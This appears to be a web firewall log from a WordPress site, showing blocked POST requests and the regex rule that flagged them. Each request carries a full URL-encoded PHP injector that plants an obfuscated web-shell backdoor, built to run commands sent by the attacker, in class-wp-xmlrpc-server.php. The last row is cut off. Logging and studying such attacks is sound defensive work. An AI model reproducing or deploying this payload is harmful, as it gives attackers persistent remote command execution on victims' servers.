["2026-05-12 18:56:36","203.190.11.3","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> uo:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-xmlrpc-server.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524reverse_lookup3%2520%253D%2520%2522exe%255Cx63%2522%253B%2520%2524reverse_lookup7%2520%253D%2520%2522pc%255Cx6C%255Cx6Fs%255Cx65%2522%253B%2520%2524reverse_lookup1%2520%253D%2520%2522sy%255Cx73%255Cx74em%2522%253B%2520%2524reverse_lookup5%2520%253D%2520%2522p%255Cx6Fpe%255Cx6E%2522%253B%2520%2524reverse_lookup2%2520%253D%2520%2522%255Cx73%255Cx68ell_e%255Cx78ec%2522%253B%2520%2524reverse_lookup4%2520%253D%2520%2522%255Cx70%255Cx61%255Cx73s%255Cx74hru%2522%253B%2520%2524reverse_lookup6%2520%253D%2520%2522%255Cx73%255Cx74%255Cx72e%255Cx61m_%255Cx67e%255Cx74_%255Cx63on%255Cx74e%255Cx6Ets%2522%253B%2520%2524settings%2520%253D%2520%2522h%255Cx65x2b%255Cx69n%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522h%255Cx6F%255Cx6C%255Cx64er%2522%255D%2529%2529%2520%257B%2520function%2520restore_state%2520%2528%2520%2524ref%2520%252C%2520%2524desc%2520%2529%2520%257B%2520%2524comp%2520%253D%2520%2527%2527%2520%253B%2520%2524f%253D0%253B%2520while%2528%2524f%253Cstrlen%2528%2524ref%2529%2529%257B%2520%2524comp.%253Dchr%2528ord%2528%2524ref%255B%2524f%255D%2529%255E%2524desc%2529%253B%2520%2524f%252B%252B%253B%2520%257D%2520return%2520%2524comp%253B%2520%257D%2520%2524holder%2520%253D%2520%2524settings%2528%2524_POST%255B%2522h%255Cx6F%255Cx6C%255Cx64er%2522%255D%2529%253B%2520%2524holder%2520%253D%2520restore_state%2528%2524holder%252C%252047%2529%253B%2520if%2520%2528function_exists%2528%2524reverse_lookup1%2529%2529%2520%257B%2520%2524reverse_lookup1%2528%2524holder%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524reverse_lookup2%2529%2529%2520%257B%2520print%2520%2524reverse_lookup2%2528%2524holder%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524reverse_lookup3%2529%2529%2520%257B%2520%2524reverse_lookup3%2528%2524holder%252C%2520%2524object_ref%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524object_ref%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524reverse_lookup4%2529%2529%2520%257B%2520%2524reverse_lookup4%2528%2524holder%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524reverse_lookup5%2529%2520%2526%2526%2520function_exists%2528%2524reverse_lookup6%2529%2520%2526%2526%2520function_exists%2528%2524reverse_lookup7%2529%2529%2520%257B%2520%2524desc_comp%2520%253D%2520%2524reverse_lookup5%2528%2524holder%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524desc_comp%2529%2520%257B%2520%2524data_fac%2520%253D%2520%2524reverse_lookup6%2528%2524desc_comp%2529%253B%2520%2524reverse_lookup7%2528%2524desc_comp%2529%253B%2520print%2520%2524data_fac%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvqJ8vKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWcozEyrPV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36\ncontent-length:5285\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"100\", \"Google Chrome\";v=\"100\"\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua-platform:\"Windows\"\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-fetch-mode:navigate\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-user:?1\nsec-fetch-site:none\nsec-fetch-dest:document\nsec-ch-ua-mobile:?0\n\nuo=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-xmlrpc-server.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524reverse_lookup3%2520%253D%2520%2522exe%255Cx63%2522%253B%2520%2524reverse_lookup7%2520%253D%2520%2522pc%255Cx6C%255Cx6Fs%255Cx65%2522%253B%2520%2524reverse_lookup1%2520%253D%2520%2522sy%255Cx73%255Cx74em%2522%253B%2520%2524reverse_lookup5%2520%253D%2520%2522p%255Cx6Fpe%255Cx6E%2522%253B%2520%2524reverse_lookup2%2520%253D%2520%2522%255Cx73%255Cx68ell_e%255Cx78ec%2522%253B%2520%2524reverse_lookup4%2520%253D%2520%2522%255Cx70%255Cx61%255Cx73s%255Cx74hru%2522%253B%2520%2524reverse_lookup6%2520%253D%2520%2522%255Cx73%255Cx74%255Cx72e%255Cx61m_%255Cx67e%255Cx74_%255Cx63on%255Cx74e%255Cx6Ets%2522%253B%2520%2524settings%2520%253D%2520%2522h%255Cx65x2b%255Cx69n%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522h%255Cx6F%255Cx6C%255Cx64er%2522%255D%2529%2529%2520%257B%2520function%2520restore_state%2520%2528%2520%2524ref%2520%252C%2520%2524desc%2520%2529%2520%257B%2520%2524comp%2520%253D%2520%2527%2527%2520%253B%2520%2524f%253D0%253B%2520while%2528%2524f%253Cstrlen%2528%2524ref%2529%2529%257B%2520%2524comp.%253Dchr%2528ord%2528%2524ref%255B%2524f%255D%2529%255E%2524desc%2529%253B%2520%2524f%252B%252B%253B%2520%257D%2520return%2520%2524comp%253B%2520%257D%2520%2524holder%2520%253D%2520%2524settings%2528%2524_POST%255B%2522h%255Cx6F%255Cx6C%255Cx64er%2522%255D%2529%253B%2520%2524holder%2520%253D%2520restore_state%2528%2524holder%252C%252047%2529%253B%2520if%2520%2528function_exists%2528%2524reverse_lookup1%2529%2529%2520%257B%2520%2524reverse_lookup1%2528%2524holder%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524reverse_lookup2%2529%2529%2520%257B%2520print%2520%2524reverse_lookup2%2528%2524holder%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524reverse_lookup3%2529%2529%2520%257B%2520%2524reverse_lookup3%2528%2524holder%252C%2520%2524object_ref%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524object_ref%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524reverse_lookup4%2529%2529%2520%257B%2520%2524reverse_lookup4%2528%2524holder%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524reverse_lookup5%2529%2520%2526%2526%2520function_exists%2528%2524reverse_lookup6%2529%2520%2526%2526%2520function_exists%2528%2524reverse_lookup7%2529%2529%2520%257B%2520%2524desc_comp%2520%253D%2520%2524reverse_lookup5%2528%2524holder%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524desc_comp%2529%2520%257B%2520%2524data_fac%2520%253D%2520%2524reverse_lookup6%2528%2524desc_comp%2529%253B%2520%2524reverse_lookup7%2528%2524desc_comp%2529%253B%2520print%2520%2524data_fac%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 18:56:39","118.139.167.171","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Pu:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-xmlrpc-server.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524reverse_lookup3%2520%253D%2520%2522exe%255Cx63%2522%253B%2520%2524reverse_lookup7%2520%253D%2520%2522pc%255Cx6C%255Cx6Fs%255Cx65%2522%253B%2520%2524reverse_lookup1%2520%253D%2520%2522sy%255Cx73%255Cx74em%2522%253B%2520%2524reverse_lookup5%2520%253D%2520%2522p%255Cx6Fpe%255Cx6E%2522%253B%2520%2524reverse_lookup2%2520%253D%2520%2522%255Cx73%255Cx68ell_e%255Cx78ec%2522%253B%2520%2524reverse_lookup4%2520%253D%2520%2522%255Cx70%255Cx61%255Cx73s%255Cx74hru%2522%253B%2520%2524reverse_lookup6%2520%253D%2520%2522%255Cx73%255Cx74%255Cx72e%255Cx61m_%255Cx67e%255Cx74_%255Cx63on%255Cx74e%255Cx6Ets%2522%253B%2520%2524settings%2520%253D%2520%2522h%255Cx65x2b%255Cx69n%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522h%255Cx6F%255Cx6C%255Cx64er%2522%255D%2529%2529%2520%257B%2520function%2520restore_state%2520%2528%2520%2524ref%2520%252C%2520%2524desc%2520%2529%2520%257B%2520%2524comp%2520%253D%2520%2527%2527%2520%253B%2520%2524f%253D0%253B%2520while%2528%2524f%253Cstrlen%2528%2524ref%2529%2529%257B%2520%2524comp.%253Dchr%2528ord%2528%2524ref%255B%2524f%255D%2529%255E%2524desc%2529%253B%2520%2524f%252B%252B%253B%2520%257D%2520return%2520%2524comp%253B%2520%257D%2520%2524holder%2520%253D%2520%2524settings%2528%2524_POST%255B%2522h%255Cx6F%255Cx6C%255Cx64er%2522%255D%2529%253B%2520%2524holder%2520%253D%2520restore_state%2528%2524holder%252C%252047%2529%253B%2520if%2520%2528function_exists%2528%2524reverse_lookup1%2529%2529%2520%257B%2520%2524reverse_lookup1%2528%2524holder%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524reverse_lookup2%2529%2529%2520%257B%2520print%2520%2524reverse_lookup2%2528%2524holder%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524reverse_lookup3%2529%2529%2520%257B%2520%2524reverse_lookup3%2528%2524holder%252C%2520%2524object_ref%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524object_ref%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524reverse_lookup4%2529%2529%2520%257B%2520%2524reverse_lookup4%2528%2524holder%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524reverse_lookup5%2529%2520%2526%2526%2520function_exists%2528%2524reverse_lookup6%2529%2520%2526%2526%2520function_exists%2528%2524reverse_lookup7%2529%2529%2520%257B%2520%2524desc_comp%2520%253D%2520%2524reverse_lookup5%2528%2524holder%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524desc_comp%2529%2520%257B%2520%2524data_fac%2520%253D%2520%2524reverse_lookup6%2528%2524desc_comp%2529%253B%2520%2524reverse_lookup7%2528%2524desc_comp%2529%253B%2520print%2520%2524data_fac%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvHUHvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzEvLI9coaAypaEco24vB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36\ncontent-length:5285\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua:\"Google Chrome\";v=\"107\", \"Chromium\";v=\"107\", \"Not=A?Brand\";v=\"24\"\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua-platform:\"Windows\"\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-fetch-mode:navigate\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-user:?1\nsec-fetch-site:none\nsec-fetch-dest:document\nsec-ch-ua-mobile:?0\n\nPu=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-xmlrpc-server.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524reverse_lookup3%2520%253D%2520%2522exe%255Cx63%2522%253B%2520%2524reverse_lookup7%2520%253D%2520%2522pc%255Cx6C%255Cx6Fs%255Cx65%2522%253B%2520%2524reverse_lookup1%2520%253D%2520%2522sy%255Cx73%255Cx74em%2522%253B%2520%2524reverse_lookup5%2520%253D%2520%2522p%255Cx6Fpe%255Cx6E%2522%253B%2520%2524reverse_lookup2%2520%253D%2520%2522%255Cx73%255Cx68ell_e%255Cx78ec%2522%253B%2520%2524reverse_lookup4%2520%253D%2520%2522%255Cx70%255Cx61%255Cx73s%255Cx74hru%2522%253B%2520%2524reverse_lookup6%2520%253D%2520%2522%255Cx73%255Cx74%255Cx72e%255Cx61m_%255Cx67e%255Cx74_%255Cx63on%255Cx74e%255Cx6Ets%2522%253B%2520%2524settings%2520%253D%2520%2522h%255Cx65x2b%255Cx69n%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522h%255Cx6F%255Cx6C%255Cx64er%2522%255D%2529%2529%2520%257B%2520function%2520restore_state%2520%2528%2520%2524ref%2520%252C%2520%2524desc%2520%2529%2520%257B%2520%2524comp%2520%253D%2520%2527%2527%2520%253B%2520%2524f%253D0%253B%2520while%2528%2524f%253Cstrlen%2528%2524ref%2529%2529%257B%2520%2524comp.%253Dchr%2528ord%2528%2524ref%255B%2524f%255D%2529%255E%2524desc%2529%253B%2520%2524f%252B%252B%253B%2520%257D%2520return%2520%2524comp%253B%2520%257D%2520%2524holder%2520%253D%2520%2524settings%2528%2524_POST%255B%2522h%255Cx6F%255Cx6C%255Cx64er%2522%255D%2529%253B%2520%2524holder%2520%253D%2520restore_state%2528%2524holder%252C%252047%2529%253B%2520if%2520%2528function_exists%2528%2524reverse_lookup1%2529%2529%2520%257B%2520%2524reverse_lookup1%2528%2524holder%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524reverse_lookup2%2529%2529%2520%257B%2520print%2520%2524reverse_lookup2%2528%2524holder%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524reverse_lookup3%2529%2529%2520%257B%2520%2524reverse_lookup3%2528%2524holder%252C%2520%2524object_ref%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524object_ref%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524reverse_lookup4%2529%2529%2520%257B%2520%2524reverse_lookup4%2528%2524holder%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524reverse_lookup5%2529%2520%2526%2526%2520function_exists%2528%2524reverse_lookup6%2529%2520%2526%2526%2520function_exists%2528%2524reverse_lookup7%2529%2529%2520%257B%2520%2524desc_comp%2520%253D%2520%2524reverse_lookup5%2528%2524holder%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524desc_comp%2529%2520%257B%2520%2524data_fac%2520%253D%2520%2524reverse_lookup6%2528%2524desc_comp%2529%253B%2520%2524reverse_lookup7%2528%2524desc_comp%2529%253B%2520print%2520%2524data_fac%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 18:57:36","72.167.150.128","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-xmlrpc-server.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524reverse_lookup3%2520%253D%2520%2522exe%255Cx63%2522%253B%2520%2524reverse_lookup7%2520%253D%2520%2522pc%255Cx6C%255Cx6Fs%255Cx65%2522%253B%2520%2524reverse_lookup1%2520%253D%2520%2522sy%255Cx73%255Cx74em%2522%253B%2520%2524reverse_lookup5%2520%253D%2520%2522p%255Cx6Fpe%255Cx6E%2522%253B%2520%2524reverse_lookup2%2520%253D%2520%2522%255Cx73%255Cx68ell_e%255Cx78ec%2522%253B%2520%2524reverse_lookup4%2520%253D%2520%2522%255Cx70%255Cx61%255Cx73s%255Cx74hru%2522%253B%2520%2524reverse_lookup6%2520%253D%2520%2522%255Cx73%255Cx74%255Cx72e%255Cx61m_%255Cx67e%255Cx74_%255Cx63on%255Cx74e%255Cx6Ets%2522%253B%2520%2524settings%2520%253D%2520%2522h%255Cx65x2b%255Cx69n%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522h%255Cx6F%255Cx6C%255Cx64er%2522%255D%2529%2529%2520%257B%2520function%2520restore_state%2520%2528%2520%2524ref%2520%252C%2520%2524desc%2520%2529%2520%257B%2520%2524comp%2520%253D%2520%2527%2527%2520%253B%2520%2524f%253D0%253B%2520while%2528%2524f%253Cstrlen%2528%2524ref%2529%2529%257B%2520%2524comp.%253Dchr%2528ord%2528%2524ref%255B%2524f%255D%2529%255E%2524desc%2529%253B%2520%2524f%252B%252B%253B%2520%257D%2520return%2520%2524comp%253B%2520%257D%2520%2524holder%2520%253D%2520%2524settings%2528%2524_POST%255B%2522h%255Cx6F%255Cx6C%255Cx64er%2522%255D%2529%253B%2520%2524holder%2520%253D%2520restore_state%2528%2524holder%252C%252047%2529%253B%2520if%2520%2528function_exists%2528%2524reverse_lookup1%2529%2529%2520%257B%2520%2524reverse_lookup1%2528%2524holder%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524reverse_lookup2%2529%2529%2520%257B%2520print%2520%2524reverse_lookup2%2528%2524holder%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524reverse_lookup3%2529%2529%2520%257B%2520%2524reverse_lookup3%2528%2524holder%252C%2520%2524object_ref%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524object_ref%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524reverse_lookup4%2529%2529%2520%257B%2520%2524reverse_lookup4%2528%2524holder%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524reverse_lookup5%2529%2520%2526%2526%2520function_exists%2528%2524reverse_lookup6%2529%2520%2526%2526%2520function_exists%2528%2524reverse_lookup7%2529%2529%2520%257B%2520%2524desc_comp%2520%253D%2520%2524reverse_lookup5%2528%2524holder%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524desc_comp%2529%2520%257B%2520%2524data_fac%2520%253D%2520%2524reverse_lookup6%2528%2524desc_comp%2529%253B%2520%2524reverse_lookup7%2528%2524desc_comp%2529%253B%2520print%2520%2524data_fac%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\nsec-fetch-site:none\nsec-ch-ua:\"Google Chrome\";v=\"107\", \"Chromium\";v=\"107\", \"Not=A?Brand\";v=\"24\"\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua-platform:\"Windows\"\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncontent-length:5308\nsec-fetch-mode:navigate\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-user:?1\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-dest:document\nsec-ch-ua-mobile:?0\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-xmlrpc-server.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524reverse_lookup3%2520%253D%2520%2522exe%255Cx63%2522%253B%2520%2524reverse_lookup7%2520%253D%2520%2522pc%255Cx6C%255Cx6Fs%255Cx65%2522%253B%2520%2524reverse_lookup1%2520%253D%2520%2522sy%255Cx73%255Cx74em%2522%253B%2520%2524reverse_lookup5%2520%253D%2520%2522p%255Cx6Fpe%255Cx6E%2522%253B%2520%2524reverse_lookup2%2520%253D%2520%2522%255Cx73%255Cx68el